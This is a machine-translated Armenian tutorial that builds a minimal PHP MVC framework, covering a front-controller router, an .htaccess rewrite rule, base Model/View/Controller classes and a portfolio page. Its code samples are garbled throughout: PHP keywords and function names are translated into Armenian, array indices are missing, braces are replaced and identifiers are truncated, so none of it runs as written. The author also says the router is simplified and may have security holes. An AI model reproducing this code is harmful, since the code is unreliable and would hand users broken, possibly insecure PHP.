Այս երկու մոտեցումները բոլորովին տարբեր են։ Առաջինը բնորոշ է Page Controller օրինաչափությանը, իսկ երկրորդ մոտեցումն իրականացվում է Front Controller օրինաչափությամբ։ Էջի կարգավորիչը լավ է բավականին պարզ տրամաբանությամբ կայքերի համար: Իր հերթին, հարցումների վերահսկիչը համախմբում է հարցումների մշակման բոլոր գործողությունները մեկ տեղում, ինչը նրան տալիս է լրացուցիչ հնարավորություններ, որոնք թույլ են տալիս իրականացնել ավելի բարդ առաջադրանքներ, քան սովորաբար լուծվում են էջի վերահսկիչի կողմից: Ես չեմ խորանա էջի վերահսկիչի ներդրման մանրամասների մեջ, այլ միայն կասեմ, որ գործնական մասում մշակվելու է հարցման կարգավորիչը (նմանատիպ մի բան):
1.2. URL-ի երթուղում URL-ի երթուղին թույլ է տալիս կարգավորել ձեր հավելվածը, որպեսզի ընդունի հարցումներ URL-ներից, որոնք չեն համապատասխանում իրական կիրառական ֆայլերին, և օգտագործել CNC-ներ, որոնք իմաստային նշանակություն ունեն օգտվողների համար և նախընտրելի են որոնման համակարգի օպտիմալացման համար:Օրինակ, սովորական էջի համար, որը ցուցադրում է կոնտակտային ձև, URL-ը կարող է այսպիսի տեսք ունենալ.
http://www.example.com/contacts.php?action=feedback
Մոտավոր մշակման կոդը այս դեպքում.
switch ($_GET ["action"]) ( case "about" : require_once ("about.php"); // «Մեր մասին» էջի ընդմիջում; case «contacts»: require_once («contacts.php»); // էջի «Կոնտակտներ» ընդմիջում; դեպք «հետադարձ կապ»՝ require_once («feedback.php»); // էջ «Հետադարձ կապ» ընդմիջում; լռելյայն. պահանջ_once («page404.php»); // էջ «404» ընդմիջում; )
Կարծում եմ, որ գրեթե բոլորը նախկինում դա արել են:
Օգտագործելով URL երթուղային շարժիչը, դուք կարող եք կարգավորել ձեր հավելվածը, որպեսզի ընդունի նման հարցումները՝ ցուցադրելու նույն տեղեկատվությունը.
http://www.example.com/contacts/feedback
Այստեղ կոնտակտները ներկայացնում են վերահսկիչին, իսկ հետադարձ կապը կոնտակտների վերահսկիչի մեթոդն է, որը ցուցադրում է հետադարձ կապի ձևը և այլն: Այս հարցին կանդրադառնանք գործնական մասում։
Արժե նաև իմանալ, որ շատ վեբ շրջանակների երթուղիչներ թույլ են տալիս ստեղծել հատուկ URL երթուղիներ (նշեք, թե ինչ է նշանակում URL-ի յուրաքանչյուր մասը) և դրանց մշակման կանոններ:
Այժմ մենք ունենք բավարար տեսական գիտելիքներ գործնականին անցնելու համար:
Առաջ նայելով՝ կասեմ, որ հիմնական դասերը Model, View և Controller կպահվեն հիմնական թղթապանակում։
Նրանց երեխաները կպահվեն կարգավորիչների, մոդելների և դիտումների գրացուցակներում: index.php ֆայլը հավելվածի մուտքի կետն է: Bootstrap.php ֆայլը սկսում է հավելվածի բեռնումը, միացնելով բոլոր անհրաժեշտ մոդուլները և այլն։
Մենք հաջորդաբար կգնանք; Եկեք բացենք index.php ֆայլը և լրացնենք այն հետևյալ կոդով.
ini_set ("ցուցադրման_սխալներ" , 1); require_once "application/bootstrap.php" ;
Այստեղ հարցեր չպետք է լինեն։
Հաջորդը, եկեք անմիջապես անցնենք bootstrap.php ֆայլ.
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Երթուղի::start(); // գործարկել երթուղիչը
Առաջին երեք տողերը կներառեն ներկայումս գոյություն չունեցող միջուկային ֆայլեր: Վերջին տողերը ներառում են ֆայլը երթուղիչի դասի հետ և գործարկում այն կատարման համար՝ կանչելով ստատիկ մեկնարկի մեթոդը։
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Այս կոդը վերահղելու է էջի մշակումը դեպի index.php, ինչը մեզ անհրաժեշտ է: Հիշում եք, որ առաջին մասում մենք խոսեցինք Front Controller-ի մասին:
Մենք կտեղադրենք երթուղիչը առանձին ֆայլ route.php-ի հիմնական գրացուցակում: Այս ֆայլում մենք նկարագրելու ենք Route դասը, որը կգործարկի վերահսկիչի մեթոդները, որոնք էլ իրենց հերթին կստեղծեն էջի տեսքը։
route.php ֆայլի բովանդակությունը
class Route ( ստատիկ ֆունկցիայի սկիզբ () ( // կարգավորիչ և լռելյայն գործողություն $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER ["REQUEST_URI"]); // ստանալ կարգավորիչի անունը if (!empty ($routes )) ( $controller_name = $routes ;) // ստացեք գործողության անունը, եթե (!empty ($routes )) ( $action_name = $routes ; ) // ավելացրեք նախածանցներ $model_name = " Model_" .$controller_name; $controller_name = "Controller_" .$controller_name; $action_name = "action_" .$action_name; // միացրեք ֆայլը մոդելի դասի հետ (կարող է մոդելի ֆայլ չլինել) $model_file = strtolower ($model_name). ".php"; $model_path = "application/models/" .$model_file; if (file_exists($model_path)) (ներառյալ "application/models/" .$model_file;) // միացնել ֆայլը կարգավորիչի դասի հետ $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/" .$controller_file; if (file_exists($controller_path)) (ներառյալ "application/controllers/" .$controller_e ) else ( /* ճիշտ կլինի բացառություն գցել այստեղ, բայց ամեն ինչ պարզեցնելու համար մենք անմիջապես կվերահղենք դեպի 404 էջ */ Route::ErrorPage404(); ) // ստեղծել վերահսկիչ $controller = նոր $controller_name ; $action = $action_name ; if (method_exists($controller, $action)) ( // կանչել վերահսկիչի գործողությունը $controller ->$action (); ) ֆունկցիան ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/"; header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found") ; header(" Location:" .$host ."404" );) )
Ես նշում եմ, որ դասը իրականացնում է շատ պարզեցված տրամաբանություն (չնայած ծավալուն ծածկագրին) և նույնիսկ կարող է ունենալ անվտանգության խնդիրներ: Դա արվել է միտումնավոր, քանի որ... Ամբողջական երթուղային դաս գրելը արժանի է առնվազն առանձին հոդվածի: Դիտարկենք հիմնական կետերը...
Համաշխարհային զանգվածի տարրը $_SERVER["REQUEST_URI"] պարունակում է ամբողջական հասցեն, որի հետ կապվել է օգտատերը:
Օրինակ՝ example.ru/contacts/feedback
Օգտագործելով գործառույթը պայթելՀասցեն բաժանված է բաղադրիչների. Արդյունքում մենք ստանում ենք վերահսկիչի անունը, տրված օրինակի համար սա վերահսկիչ է կոնտակտներև գործողության անվանումը, մեր դեպքում. հետադարձ կապ.
Հաջորդը, մոդելի ֆայլը (մոդելը կարող է բացակայել) և վերահսկիչի ֆայլը, եթե այդպիսիք կան, միացված են, և վերջապես, ստեղծվում է վերահսկիչի օրինակ, և գործողությունը կրկին կանչվում է, եթե այն նկարագրված է վերահսկիչի դասում:
Այսպիսով, երբ գնում եք, օրինակ, հասցեն.
օրինակ.com/portfolio
կամ
օրինակ.com/portfolio/index
Երթուղիչը կկատարի հետևյալ գործողությունները.
օրինակ.com/ufo
այնուհետև նա կվերահղվի դեպի «404» էջ.
օրինակ.com/404
Նույնը տեղի կունենա, եթե օգտագործողը մուտք գործի մի գործողություն, որը նկարագրված չէ կարգավորիչում:2.2. Եկեք վերադառնանք MVC-ի իրականացմանը: Եկեք գնանք հիմնական թղթապանակ և ավելացնենք ևս երեք ֆայլ route.php ֆայլում՝ model.php, view.php և controller.php:
Հիշեցնեմ, որ դրանք կպարունակեն բազային դասեր, որոնք այժմ կսկսենք գրել:
Model.php ֆայլի բովանդակությունը
դասի մոդել (public function get_data () ())
Մոդելի դասը պարունակում է մեկ դատարկ տվյալների բեռնման մեթոդ, որը կչեղարկվի հետնորդ դասերում: Երբ մենք ստեղծենք հետնորդ դասակարգեր, ամեն ինչ ավելի պարզ կդառնա։
View.php ֆայլի բովանդակությունը
class View ( //public $template_view; // այստեղ կարող եք նշել լռելյայն ընդհանուր տեսքը: գործառույթը առաջացնում է ($content_view, $template_view, $data = null) ( /* if(is_array ($data)) ( // փոխարկել զանգվածը տարրերը փոփոխականների մեջ extract($data); ) */ ներառում է «application/views/» .$template_view ;) )
Դժվար չէ կռահել, որ մեթոդը առաջացնելնախատեսված է տեսակետ ձևավորելու համար. Դրան փոխանցվում են հետևյալ պարամետրերը.
որոշակի էջի բովանդակությունը ցուցադրելու համար:
Մեր դեպքում ընդհանուր ձևանմուշը կպարունակի վերնագիր, մենյու, կողագոտ և ստորագիր, իսկ էջի բովանդակությունը կպարունակվի առանձին ձևով: Կրկին, սա արվում է պարզության համար:
Controller.php ֆայլի բովանդակությունը
class Controller (pub $model; public $view; ֆունկցիա __construct () ($this ->view = new View();)))
Մեթոդ գործողության_ինդեքս- սա այն գործողությունն է, որը կոչվում է լռելյայն, մենք այն կչեղարկենք հետնորդ դասեր իրականացնելիս:
Նախորդ նկարում template_view.php ֆայլը ընդգծված է առանձին. սա բոլոր էջերի համար ընդհանուր նշագրում պարունակող ձևանմուշ է: Ամենապարզ դեպքում այն կարող է այսպիսի տեսք ունենալ.
տուն
Կայքին ներկայանալի տեսք տալու համար մենք ստեղծում ենք CSS ձևանմուշ և այն ինտեգրում մեր կայքում՝ փոխելով HTML նշագրման կառուցվածքը և միացնելով CSS և JavaScript ֆայլերը.
Հոդվածի վերջում, «Արդյունք» բաժնում, կա հղում դեպի GitHub շտեմարան մի նախագծով, որտեղ քայլեր են ձեռնարկվել պարզ ձևանմուշը ինտեգրելու համար:
class Controller_Main ընդլայնում է Controller-ը ( action_index () ֆունկցիան ($this ->view->generate("main_view.php", "template_view.php"); ) )
Մեթոդի մեջ առաջացնելՓոխանցվում են View դասի օրինակ, ընդհանուր ձևանմուշի ֆայլերի և էջի բովանդակությամբ դիտման անվանումները:
Բացի ինդեքսի գործողությունից, վերահսկիչը, իհարկե, կարող է պարունակել այլ գործողություններ:
Մենք ավելի վաղ ուսումնասիրել ենք ընդհանուր դիտման ֆայլը: Դիտարկենք main_view.php բովանդակության ֆայլը:
Բարի գալուստ OLOLOSHA TEAM-ը վեբ կայքերի ստեղծման ոլորտում առաջին կարգի մասնագետների թիմ է, որը երկար տարիների փորձ ունի Հնդկաստանից և Ցեյլոնից մեքսիկական դիմակներ, բրոնզե և քարե արձաններ, Հասարակածային Աֆրիկայի վարպետների ստեղծած հարթաքանդակներ և քանդակներ հավաքելու երկար տարիների փորձով: առաջ...
Սա պարունակում է պարզ նշում առանց PHP զանգերի:
Հիմնական էջը ցուցադրելու համար կարող եք օգտագործել հետևյալ հասցեներից մեկը.
- գրադարանների մեթոդներ, որոնք իրականացնում են տվյալների վերացում: Օրինակ՝ PEAR MDB2 գրադարանի մեթոդները;
- ORM մեթոդներ;
- NoSQL-ի հետ աշխատելու մեթոդներ;
- և այլն։ Պարզության համար մենք այստեղ չենք օգտագործի SQL հարցումներ կամ ORM հայտարարություններ: Փոխարենը, մենք կկրկնօրինակենք իրական տվյալները և անմիջապես կվերադարձնենք արդյունքների զանգված:
Տեղադրեք մոդելային ֆայլը model_portfolio.php մոդելների թղթապանակում: Ահա դրա բովանդակությունը.
class Model_Portfolio ընդլայնում է Model ( public function get_data () ( return array («Tear» => «2012», «Site» => «http://DunkelBeer.ru», «Description» => «Գովազդային կայք մուգ Dunkel գարեջուր գերմանական Löwenbraü արտադրողից, արտադրված Ռուսաստանում «SUN InBev» գարեջրագործական ընկերության կողմից), զանգված («Տարի» => «2012», «Կայք» => «http://ZopoMobile.ru», «Նկարագրություն. " => "Zopo-ի չինական հեռախոսների ռուսալեզու կատալոգ՝ հիմնված Android ՕՀ-ի և դրանց համար նախատեսված աքսեսուարների վրա։"), // todo ) ) )
Մոդելի վերահսկիչի դասը պարունակվում է controller_portfolio.php ֆայլում, ահա դրա կոդը.
class Controller_Portfolio ընդլայնում է Controller-ը ( ֆունկցիա __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( $this ->view->generate("portfolio_view.php", "template_view.php", $data);))
Փոփոխականին տվյալներըմեթոդով վերադարձված զանգվածը գրված է ստանալ_տվյալներորը մենք ավելի վաղ նայեցինք:
Այս փոփոխականն այնուհետև փոխանցվում է որպես մեթոդի պարամետր առաջացնել, որը պարունակում է նաև՝ ընդհանուր ձևանմուշով ֆայլի անվանումը և էջի բովանդակությամբ տեսքը պարունակող ֆայլի անվանումը։
Էջի բովանդակությունը պարունակող տեսքը գտնվում է portfolio_view.php ֆայլում։
Պորտֆոլիո
| Տարի | Նախագիծ | Նկարագրություն |
